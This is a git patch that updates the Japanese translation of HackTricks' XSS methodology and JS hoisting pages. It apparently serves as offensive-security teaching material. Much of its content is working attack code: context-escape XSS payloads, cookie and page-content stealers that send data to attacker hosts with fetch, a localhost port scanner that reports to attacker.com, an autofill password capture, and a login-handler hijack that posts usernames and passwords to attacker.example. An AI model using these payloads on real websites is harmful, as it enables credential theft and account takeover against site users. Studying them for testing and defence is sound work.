From 064082515a49ac1bf552ea8a0896918ec3d04def Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:38:18 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting --- .../xss-cross-site-scripting/README.md | 571 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 48 +- 2 files changed, 350 insertions(+), 269 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 4a1dd6457..f68a8e6af 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -1,35 +1,35 @@ -# XSS (クロスサイトスクリプティング) +# XSS (Cross Site Scripting) {{#include ../../banners/hacktricks-training.md}} ## 方法論 -1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?) がHTMLに**反映**されているか、**JS**コードによって**使用**されているかを確認します。 -2. **反映されている/使用されているコンテキストを見つけます**。 +1. あなたが制御できる任意の値(_parameters_, _path_, _headers_?, _cookies_?)が HTML に **反映されている**か、または **JS** コードで **使用されている**かを確認する。 +2. どのような**コンテキスト**で反映/使用されているかを特定する。 3. **反映されている場合** -1. **どの記号を使用できるか**を確認し、それに応じてペイロードを準備します: -1. **生のHTML**内で: -1. 新しいHTMLタグを作成できますか? -2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか? -3. 保護を回避できますか? -4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません。 -5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を悪用できるかもしれません。 -2. **HTMLタグ内で**: -1. 生のHTMLコンテキストに抜け出せますか? -2. JSコードを実行するための新しいイベント/属性を作成できますか? -3. あなたが閉じ込められている属性はJS実行をサポートしていますか? -4. 保護を回避できますか? -3. **JavaScriptコード内で**: -1. ``**タグ、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性内に反映されます: +In this case your input is reflected between **``** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol: -- **``**タグの間に反映されている場合、たとえあなたの入力があらゆる種類の引用符の中にあっても、``を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した``タグがHTMLコード内にあることに気づかないからです。 -- **JS文字列内**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、**コードを実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません): +- If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **ブラウザがまずHTMLタグを解析する** ためで、注入した `` タグがHTMLコード内にあることに気付かれないからです。 +- If reflected **inside a JS string** and the last trick isn't working you would need to **抜け出し** the string, **実行** your code and **再構築** the JS code (if there is any error, it won't be executed: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- テンプレートリテラル内に反映されている場合、`${ ... }`構文を使用して**JS式を埋め込む**ことができます: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicodeエンコード**は**有効なjavascriptコード**を書くために機能します: +- If reflected inside template literals you can **JS式を埋め込む** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicodeエンコード** works to write **有効な javascript コード**: ```javascript alert(1) alert(1) @@ -85,8 +85,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できるようにします。**\ -**詳細については、次のページを確認してください:** +Javascript Hoisting は、**使用後に関数、変数またはクラスを宣言できる機会を指し、未宣言の変数や関数を使用する XSS のような状況を悪用できる**ことを意味します。\ +**詳しくは次のページを確認してください:** {{#ref}} @@ -95,19 +95,19 @@ js-hoisting.md ### Javascript Function -いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります**。一般的な例として、`?callback=callbackFunc`のようなものがあります。 +Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`. -ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**(例えば「Vulnerable」に)で、コンソールで次のようなエラーを探すことです: +A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like: ![](<../../images/image (711).png>) -脆弱性がある場合、**値を送信するだけでアラートをトリガーできる**かもしれません:**`?callback=alert(1)`**。ただし、これらのエンドポイントは、**コンテンツを検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です**(**`[\w\._]`**)。 +In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**). -しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**: +However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**: ![](<../../images/image (747).png>) -これに役立ついくつかの関数: +Some useful functions for this: ``` firstElementChild lastElementChild @@ -115,11 +115,12 @@ nextElementSibiling lastElementSibiling parentElement ``` -あなたはまた、**Javascript関数を直接トリガーする**ことも試すことができます: `obj.sales.delOrders`。 +You can also try to **Javascript functionsを直接呼び出す**こともできます: `obj.sales.delOrders`. -しかし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。**同じオリジンの他のページ**は、より多くのアクションを実行するための**より興味深いDOM**を持っています。 +しかし、通常は示された関数を実行するendpointsはあまり興味深いDOMを持たないことが多く、**同一オリジンの他のページ**にはより多くの操作を行うための**より興味深いDOM**が存在します。 + +したがって、**別のDOMでこの脆弱性を悪用するために**、**Same Origin Method Execution (SOME)** エクスプロイトが開発されました: -したがって、**異なるDOMでこの脆弱性を悪用するために**、**Same Origin Method Execution (SOME)**のエクスプロイトが開発されました: {{#ref}} some-same-origin-method-execution.md @@ -127,36 +128,39 @@ some-same-origin-method-execution.md ### DOM -**JSコード**が、攻撃者によって制御される**データ**(例: `location.href`)を**安全でない**方法で使用しています。攻撃者は、これを悪用して任意のJSコードを実行することができます。 +**JS code** が攻撃者が制御する `location.href` のようなデータを**安全でない方法で**使用している場合があります。攻撃者はこれを悪用して任意のJSコードを実行できます。 + {{#ref}} dom-xss.md {{#endref}} -### **ユニバーサルXSS** +### **Universal XSS** + +この種のXSSは**どこにでも**存在し得ます。これらは単にWebアプリケーションのクライアント側の悪用に依存するのではなく、**任意の****コンテキスト**に依存します。これらの**任意のJavaScript実行**は**RCE**を獲得したり、クライアントやサーバー上の**任意のファイル**を**読み取る**などにも悪用され得ます。\ +いくつかの**例**: -この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる****コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることもあります。\ -いくつかの**例**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAFバイパスエンコーディング画像 +## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## 生のHTML内に注入 +## raw HTML 内へのインジェクション -あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\ -この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を考慮してください。**\ -_**注: HTMLコメントは、\*\***\***\*`-->`\*\***\***\*または\*\***`--!>`\*\**を使用して閉じることができます。_ +あなたの入力が**HTMLページ内**に反映される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、**最初**に行うべきことは `<` を使って新しいタグを作れるかどうかを確認することです。単にその**文字**が反映されるかを試し、それが**HTMLエンコード**されているか、**削除**されているか、あるいは**変更なく反映されている**かを確認してください。**最後の場合にのみこのケースを悪用できます**。\ +この場合は[**Client Side Template Injection**](../client-side-template-injection-csti.md)**も念頭に置いてください**。\ +_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ -この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます: +In this case and if no black/whitelisting is used, you could use payloads like: ```html `タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。 +これらの場合、あなたの**input**は `.js` ファイルのJSコード内、または `` タグ内、JSを実行できるHTMLイベント内、あるいは `javascript:` プロトコルを許容する属性内に**反映されます**。 -### \`の中に挿入されている場合、`` の中に挿入されている場合、`` の終了タグを簡単に**エスケープして閉じることができます**: ```javascript ``` -この例では、**シングルクォートを閉じていない**ことに注意してください。これは、**HTMLの解析が最初にブラウザによって行われる**ためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。 +この例では、**シングルクォートを閉じてさえいません**。これは、**ブラウザによってまずHTMLのパースが行われる**ためで、scriptブロックを含むページ要素の識別が行われます。埋め込まれたスクリプトを理解して実行するためのJavaScriptのパースはその後に行われます。 ### JSコード内 -`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません: +もし `<>` がサニタイズされている場合でも、入力が**配置されている**場所で文字列を**エスケープ**して任意のJSを**実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあるとJSコードは実行されません: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` -### テンプレートリテラル \`\` +#### JS-in-JS string break → inject → repair pattern -**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\ -したがって、バックティックを使用しているJS文字列内に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます: +ユーザー入力が引用符で囲まれたJavaScript文字列内に入る場合(例: server-side echo into an inline script)、文字列を終了させてコードを注入し、構文を修復してパースを有効な状態に保つことができます。一般的なスケルトン: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +脆弱なパラメータがJS文字列として反映される場合のURLパターンの例: +``` +?param=test";;a=" +``` +これは HTML コンテキストに触れることなく攻撃者の JS を実行します(純粋な JS-in-JS)。フィルタがキーワードをブロックする場合は、下の blacklist bypasses と組み合わせてください。 -これは次のように**悪用**できます: +### Template literals `` + +文字列を構築する際、JS はシングルおよびダブルクォートのほかに **backticks** **` `` `** を受け入れます。これは template literals として知られており、`${ ... }` 構文を使って **embedded JS expressions** を埋め込めるためです。\ +したがって、入力が backticks を使った JS の文字列内に **reflected** されている場合、`${ ... }` 構文を悪用して **arbitrary JS code** を実行できます: + +これを **abused** する例: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -506,22 +528,37 @@ return loop } loop`` ``` -### エンコードされたコード実行 +### エンコードされた code execution ```html @@ -947,20 +984,20 @@ import { partition } from "lodash" ``` ### 特殊な置換パターン -**`"some {{template}} data".replace("{{template}}", )`** のようなものが使用されるとき、攻撃者は[**特殊な文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +たとえば **`"some {{template}} data".replace("{{template}}", )`** のような処理を行う場合、攻撃者は [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) を利用して一部の保護を回避しようとする可能性があります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。 +例えば [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) では、これはスクリプト内の **JSON文字列をエスケープ** して任意のコードを実行するために使われました。 -### ChromeキャッシュからXSS +### Chrome Cache to XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} -### XS Jailのエスケープ +### XS Jails Escape -使用できる文字のセットが限られている場合、XSJailの問題に対する他の有効な解決策を確認してください: +使用できる文字が限られている場合、XSJail の問題に対するその他の有効な解決策を確認してください: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -991,22 +1028,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**この解説**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です: +信頼できないコードを実行する前に **everything is undefined** になっている場合(例: [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves))、任意の信頼できないコードの実行を悪用するために「無から」有用なオブジェクトを生成することが可能です: -- import()を使用して +- import() の使用 ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -- `require`を間接的にアクセスする +- 間接的に`require`へアクセスする -[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによって関数内にラップされます。 +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによって関数内でラップされ、次のようになります: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -したがって、そのモジュールから**別の関数を呼び出す**ことができれば、その関数から`arguments.callee.caller.arguments[1]`を使用して**`require`**にアクセスすることが可能です: +したがって、そのモジュールから**別の関数を呼び出せる**場合、その関数内で `arguments.callee.caller.arguments[1]` を使って**`require`**にアクセスすることができます: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1015,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -前の例と同様に、**エラーハンドラー**を使用してモジュールの**ラッパー**にアクセスし、**`require`**関数を取得することが可能です: +前の例と同様に、**エラーハンドラーを使用して**モジュールの**ラッパー**にアクセスし、**`require`**関数を取得することができます: ```javascript try { null.f() @@ -1055,12 +1092,12 @@ trigger() ``` ### Obfuscation & Advanced Bypass -- **異なる難読化が1ページに:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **1ページでの異なる obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) -- より洗練されたJSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +- より高度な JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1234,23 +1271,25 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSSの一般的なペイロード +## XSS の一般的な payloads + +### 複数の payloads を1つに -### 1つのペイロードに複数 {{#ref}} steal-info-js.md {{#endref}} -### Iframeトラップ +### Iframe Trap + +ユーザーを iframe から出さずにページ内を移動させ、formsで送信された情報を含むその行動を盗む。 -ユーザーがiframeを退出せずにページ内を移動させ、その行動を盗む(フォームに送信された情報を含む): {{#ref}} ../iframe-traps.md {{#endref}} -### クッキーの取得 +### Cookies の取得 ```javascript /?c="+document.cookie> @@ -1273,9 +1312,9 @@ steal-info-js.md ``` > [!TIP] -> あなたは**HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法があります](../hacking-with-cookies/index.html#httponly)。 +> cookiesにHTTPOnlyフラグが設定されている場合、**JavaScriptからcookiesにアクセスすることはできません**。しかし、運が良ければ[some ways to bypass this protection](../hacking-with-cookies/index.html#httponly)が利用できます。 -### ページコンテンツを盗む +### ページのコンテンツを盗む ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1288,7 +1327,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### 内部IPを見つける +### 内部IPの検出 ```html ``` -### ポートスキャナー (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### ポートスキャナー (websockets) +### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` -### 自動入力パスワードキャプチャ +### Auto-fill パスワードの取得 ```javascript Username:
@@ -1383,18 +1422,33 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -任意のデータがパスワードフィールドに入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択し、何も入力しなくても、認証情報は外部に流出します。 +When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. -### キーロガー +### Hijack form handlers to exfiltrate credentials (const shadowing) -GitHubで検索したところ、いくつかの異なるものが見つかりました: +もし critical handler(例: `function DoLogin(){...}`)がページの後方で宣言され、あなたの payload が先に実行される場合(例: inline JS-in-JS sink 経由)、同じ名前の `const` を先に定義して handler を先取りしてロックします。後の function 宣言は `const` 名を rebind できないため、あなたの hook が制御を維持します: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +注意 +- 実行順に依存します: your injection は正当な宣言より先に実行される必要があります。 +- あなたのペイロードが `eval(...)` でラップされている場合、`const/let` bindings は globals になりません。真の global かつ non-rebindable な binding を確保するには、セクション “Deliverable payloads with eval(atob()) and scope nuances” にある動的な ` ``` -### PostMessageメッセージの盗難 +### PostMessage メッセージの窃取 ```html ``` -### サービスワーカーの悪用 +### Service Workersの悪用 {{#ref}} abusing-service-workers.md {{#endref}} -### シャドウDOMへのアクセス +### Shadow DOMへのアクセス {{#ref}} shadow-dom.md {{#endref}} -### ポリグロット +### Polyglots {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### ブラインドXSSペイロード +### Blind XSS payloads -あなたはまた使用できます: [https://xsshunter.com/](https://xsshunter.com) +次も使用できます: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> @@ -1507,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - 隠されたコンテンツへのアクセス -From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed: +この[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、別のオブジェクトのJS属性で見つけられることが分かります。例えば、REGEXの入力は、そのregexの入力値が削除された後でも見つけることができます: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1524,59 +1578,61 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### ブルートフォースリスト +### Brute-Force List {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## 他の脆弱性を悪用したXSS +## XSS を使った他の脆弱性の悪用 -### MarkdownにおけるXSS +### XSS in Markdown -レンダリングされるMarkdownコードを注入できますか?もしかしたらXSSを取得できるかもしれません!確認してください: +レンダリングされるMarkdownコードを注入できますか?もしかするとXSSを誘発できるかも!確認: {{#ref}} xss-in-markdown.md {{#endref}} -### SSRFへのXSS +### XSS to SSRF -**キャッシングを使用しているサイト**でXSSを取得しましたか?このペイロードを使用して**それをSSRFにアップグレード**してみてください: +XSSを**site that uses caching**で見つけましたか?Edge Side Include Injectionを使って、それを**upgrading that to SSRF**にアップグレードしてみてください。次のpayload: ```python ``` -クッキー制限、XSSフィルターなどを回避するために使用します!\ -この技術に関する詳細情報はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。 +Use it to bypass cookie restrictions, XSS filters and much more!\ +この手法の詳細はここ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### 動的に作成されたPDFにおけるXSS +### 動的に作成された PDF における XSS + +もしウェブページがユーザー入力を使って PDF を生成している場合、PDF を作成する **bot を騙して** **任意の JS コードを実行する** ように仕向けることを試せます。\ +つまり、**PDF creator bot finds** 何らかの **HTML** **tags** を見つけると、それらを **interpret** し、この挙動を **abuse** して **Server XSS** を引き起こすことができます。 -ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして任意のJSコードを実行させる**ことを試みることができます。\ -したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。 {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があります: +HTML タグを注入できない場合は、**PDF データを注入する**ことを試してみる価値があります: + {{#ref}} pdf-injection.md {{#endref}} -### Amp4EmailにおけるXSS +### Amp4Email における XSS -AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。 +AMP はモバイルデバイスでのウェブページのパフォーマンスを加速することを目的としており、速度とセキュリティを重視しつつ機能を提供するために JavaScript を補助した HTML タグを取り入れています。様々な機能に対応するコンポーネントは [AMP components](https://amp.dev/documentation/components/?format=websites) から参照できます。 -[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内でコンテンツと直接対話できるようにします。 +[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。 -例として[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。 +例: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### ファイルのアップロードによるXSS(svg) +### ファイルアップロードでの XSS (svg) -次のようなファイルを画像としてアップロードします([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)から): +次のようなファイルを画像としてアップロードします (出典: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1632,16 +1688,16 @@ id="foo"/> ```xml ``` -**より多くのSVGペイロードを見つけるには** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +以下で**より多くの SVG payloads**を見つけてください [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## その他のJSトリックと関連情報 +## その他の JS トリックと関連情報 {{#ref}} other-js-tricks.md {{#endref}} -## XSSリソース +## XSS リソース - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) @@ -1650,4 +1706,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## 参考資料 + +- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 7dc95f622..e293a37c1 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -4,29 +4,29 @@ ## 基本情報 -JavaScript言語では、**Hoisting**として知られるメカニズムがあり、変数、関数、クラス、またはインポートの宣言がコードが実行される前にそのスコープの先頭に概念的に持ち上げられます。このプロセスはJavaScriptエンジンによって自動的に実行され、スクリプトを複数回通過します。 +JavaScript には、変数、関数、class、または import の宣言がコード実行前にスコープの先頭に持ち上げられるという仕組み、**Hoisting** が存在します。この処理は JavaScript エンジンが自動的に行い、スクリプトを複数回のパスで処理します。 -最初のパスでは、エンジンがコードを解析して構文エラーをチェックし、抽象構文木に変換します。このフェーズにはホイスティングが含まれ、特定の宣言が実行コンテキストの先頭に移動されるプロセスです。解析フェーズが成功すれば、構文エラーがないことを示し、スクリプトの実行が進行します。 +最初のパスでは、エンジンがコードをパースして構文エラーをチェックし、抽象構文木に変換します。この段階には hoisting が含まれ、特定の宣言が実行コンテキストの先頭に移されます。パース段階が成功し(構文エラーがないことが確認されれば)、スクリプトの実行が続行されます。 -理解することが重要です: +重要な点は以下です: -1. スクリプトは実行されるために構文エラーがない必要があります。構文ルールは厳密に守られなければなりません。 -2. スクリプト内のコードの配置はホイスティングのために実行に影響を与えますが、実行されるコードはそのテキスト表現とは異なる場合があります。 +1. 実行が行われるためにはスクリプトに構文エラーがあってはならない。構文ルールは厳密に守られる必要があります。 +2. hoisting によりスクリプト内のコード配置が実行結果に影響するため、実際に実行されるコードはテキスト上の表現と異なる場合があります。 -#### ホイスティングの種類 +#### Types of Hoisting -MDNの情報に基づくと、JavaScriptには4つの異なるホイスティングの種類があります: +MDN の情報によると、JavaScript には大きく分けて 4 種類の hoisting があります: -1. **値のホイスティング**:宣言行の前にそのスコープ内で変数の値を使用できるようにします。 -2. **宣言のホイスティング**:宣言前にそのスコープ内で変数を参照できるようにしますが、変数の値は`undefined`になります。 -3. このタイプは、実際の宣言行の前に変数の宣言があるため、そのスコープ内の動作を変更します。 -4. 宣言の副作用は、それを含む他のコードが評価される前に発生します。 +1. **Value Hoisting**: 宣言行より前にスコープ内で変数の値を使用できるようにする。 +2. **Declaration Hoisting**: スコープ内で宣言前に変数を参照しても `ReferenceError` を発生させず、ただし変数の値は `undefined` になる。 +3. このタイプは、実際の宣言行より前に変数が宣言されることによりスコープ内の挙動が変わる。 +4. 宣言の副作用が、それを含む他のコードが評価される前に発生する。 